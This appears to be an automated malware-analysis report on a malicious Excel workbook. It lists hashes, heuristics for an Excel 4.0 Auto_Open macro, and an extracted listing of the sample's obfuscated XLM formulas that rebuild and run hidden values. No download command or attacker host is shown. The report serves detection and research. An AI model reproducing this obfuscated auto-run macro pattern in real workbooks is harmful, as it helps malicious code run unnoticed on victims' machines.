Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 fabb898a9dd82f08…

MALICIOUS

Office (OLE)

36.5 KB Created: 2020-11-27 11:44:30 Authoring application: Microsoft Excel First seen: 2020-12-25
MD5: 68b5a3bd91ac5a0c93b39b829097721e SHA-1: 61134526ddce3aa15b499186b13a466465ef6536 SHA-256: fabb898a9dd82f089877fe065085065d29761f251397236e2b067cb85710c5f4
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6807 bytes
SHA-256: 59f325b13c7bc02c81bffeb80f22ed5c6829382bf4cfdce25161a0557c03b4af
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     17 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  balWuPQt
' 0018     20 LABEL : Cell Value, String Constant - AoeCb len=0 
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!F145 
' 0018     22 LABEL : Cell Value, String Constant - DUYhTPy len=0 
' 0018     20 LABEL : Cell Value, String Constant - gtMBr len=0 
' 0018     23 LABEL : Cell Value, String Constant - GuvyJGfi len=0 
' 0018     27 LABEL : Cell Value, String Constant - IAgpMgMqpZBS len=0 
' 0018     26 LABEL : Cell Value, String Constant - KUgWTwByjgO len=0 
' 0018     20 LABEL : Cell Value, String Constant - lTpBW len=0 
' 0018     26 LABEL : Cell Value, String Constant - mnrETMFEhbI len=0 
' 0018     23 LABEL : Cell Value, String Constant - MpgfQSQF len=0 
' 0018     25 LABEL : Cell Value, String Constant - mYCWGcLMIF len=0 
' 0018     24 LABEL : Cell Value, String Constant - nRPJbNJTE len=0 
' 0018     22 LABEL : Cell Value, String Constant - nwuoEUj len=0 
' 0018     23 LABEL : Cell Value, String Constant - sRUkPdbS len=0 
' 0018     23 LABEL : Cell Value, String Constant - TmdRoKxg len=0 
' 0018     26 LABEL : Cell Value, String Constant - VBXizUEvJlG len=0 
' 0018     25 LABEL : Cell Value, String Constant - wHLnBwzmeG len=0 
' 0018     25 LABEL : Cell Value, String Constant - xsjvLgwdja len=0 
' 0018     24 LABEL : Cell Value, String Constant - YOJQYBDoc len=0 
' 0018     25 LABEL : Cell Value, String Constant - zJsnIihNoo len=0 
' 0018     25 LABEL : Cell Value, String Constant - zKuJkXxKBV len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  balWuPQt,F57,"SET.NAME("lTpBW",0+VALUE("0"))",""
'  balWuPQt,F62,"SET.NAME("nwuoEUj",lTpBW)",""
'  balWuPQt,F64,"SET.NAME("zKuJkXxKBV",lTpBW)",""
'  balWuPQt,F66,"SET.NAME("mnrETMFEhbI",COUNTA(zJsnIihNoo))",""
'  balWuPQt,F69,"SET.NAME("sRUkPdbS",COUNTA(IAgpMgMqpZBS))",""
'  balWuPQt,F73,[],""
'  balWuPQt,F77,"SET.NAME("AoeCb","")",""
'  balWuPQt,F80,"nwuoEUj",""
'  balWuPQt,P81,"",-859.00000000000000000000
'  balWuPQt,P82,"",-252.00000000000000000000
'  balWuPQt,P83,"",72.00000000000000000000
'  balWuPQt,P84,"",638.00000000000000000000
'  balWuPQt,F85,"SET.NAME("VBXizUEvJlG",HLOOKUP("*",zJsnIihNoo,nwuoEUj,FALSE))",""
'  balWuPQt,P85,"",-423.00000000000000000000
'  balWuPQt,P86,"",-138.00000000000000000000
'  balWuPQt,F88,"KUgWTwByjgO",""
'  balWuPQt,F90,"SET.NAME("GuvyJGfi",lTpBW)",""
'  balWuPQt,F94,[],""
'  balWuPQt,F96,"GuvyJGfi",""
'  balWuPQt,F98,"wHLnBwzmeG",""
'  balWuPQt,F100,"mYCWGcLMIF",""
'  balWuPQt,F105,"xsjvLgwdja",""
'  balWuPQt,F107,"SET.NAME("MpgfQSQF",VALUE(HLOOKUP("*",IAgpMgMqpZBS,xsjvLgwdja,FALSE)))",""
'  balWuPQt,F111,"DUYhTPy",""
'  balWuPQt,F114,"AoeCb",""
'  balWuPQt,F117,"zKuJkXxKBV",""
'  balWuPQt,F122,NEXT(),""
'  balWuPQt,F126,"nRPJbNJTE",""
'  balWuPQt,F129,[],""
'  balWuPQt,F134,"YOJQYBDoc",""
'  balWuPQt,F138,NEXT(),""
'  balWuPQt,F142,RETURN(),""
'  balWuPQt,F170,"SET.NAME("TmdRoKxg",F57)",""
'  balWuPQt,F174,"zJsnIihNoo",""
'  balWuPQt,F176,"SET.NAME("IAgpMgMqpZBS",R42C14)",""
'  balWuPQt,F178,"SET.NAME("YOJQYBDoc",187)",""
'  balWuPQt,F183,"SET.NAME("gtMBr",6)",""
'  balWuPQt,F186,TmdRoKxg(),""
'  balWuPQt,F187,HALT(),""

Open this report in the interactive analyzer, or submit your own file for analysis.